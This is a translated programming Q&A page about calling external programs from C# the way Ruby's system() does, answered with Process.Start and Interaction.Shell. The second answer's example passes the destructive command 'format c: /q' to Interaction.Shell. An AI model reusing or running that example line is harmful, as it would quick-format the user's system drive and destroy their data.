如何用C#运行system()?

时间:2011-01-26 06:30:22

标签: c# system

我正在用C#重写一个Ruby程序。它有很多system()调用(如system(“./ program”))。

有没有办法在C#中调用它,或者我是否必须使用Systemm.Diagnostics.Process?

2 个答案:

答案 0 :(得分:6)

System.Diagnostics.Process.Start是与Ruby中的system()等效的.NET。

  

还是我必须使用Systemm.Diagnostics.Process?

您可以在文件顶部添加using System.Diagnostics;。然后它变成Process.Start("program.exe");

答案 1 :(得分:2)

如果您不想打扰拆分参数并设置ProcessStartInfo,则只需添加对Microsoft.VisualBasic程序集的引用并使用Microsoft.VisualBasic.Interaction.Shell static method

using Microsoft.VisualBasic;

Interaction.Shell("format c: /q");